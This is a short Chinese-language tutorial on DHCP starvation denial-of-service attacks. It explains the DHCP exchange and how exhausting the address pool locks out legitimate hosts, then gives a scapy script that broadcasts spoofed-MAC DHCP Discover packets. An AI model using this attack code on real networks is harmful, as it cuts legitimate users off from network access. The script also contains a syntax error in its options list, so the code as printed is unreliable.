应用层协议比较多,本节介绍基于DHCP协议的dos攻击
DHCP(Dynamic Host Configuration Protocol)动态主机协议,通常被应用在大型的局域网中,主要作用是集中管理,分配IP地址,使得网络环境中的主机动态的获得IP地址,网关地址,DNS服务器地址等信息,并能够提高地址的利用率。
DHCP采用C/S模式,主机地址的动态分配任务由网络主机驱动。当DHCP服务器接受到来自网络主机申请地址的信息时,才会向网络主机发送相关的地址配置等信息,以实现网络主机地址信息的动态配置。
客户机(C) 服务器(S)
客户机广播DHCP的Discover消息 ---------------------------------------------------------------------------------》》》
服务器提供地址租约Offer
《《《--------------------------------------------------------------------------------
客户机选择并请求Request
---------------------------------------------------------------------------------》》》
服务器确认ACK
《《《--------------------------------------------------------------------------------
DHCP攻击的目标也是服务器(DHCP服务器),发送大量的DHCP请求报文到DHCP服务器,导致DHCP服务器地址池中的IP地址很快分配完,导致合法的用户无法申请到ip地址。同时大量的DHCP请求会导致服务器高负荷运行,从而导致设备瘫痪。
from scapy.all import *
import binascii
xid_random = random.randint(1,9000000000)
mac_random = str(RandMAC())
client_mac_id = binascii.unhexlify(mac_random.replace(':',''))
print(mac_random)
dhcp_discover = Ether(src = mac_random,dst = "ff:ff:ff:ff:ff:ff")/IP(src = "0.0.0.0",dst = "255.255.255.255")/UDP(sport = 68,dport = 67)/BOOTP(chaddr = client_mac_id,xid = xid_random)/DHCP(options = [("message-type","discover")."end"])
sendp(dhcp_discover,iface = '以太网')
print("\n\n\nSending DHCPDISCOVER on"+"以太网")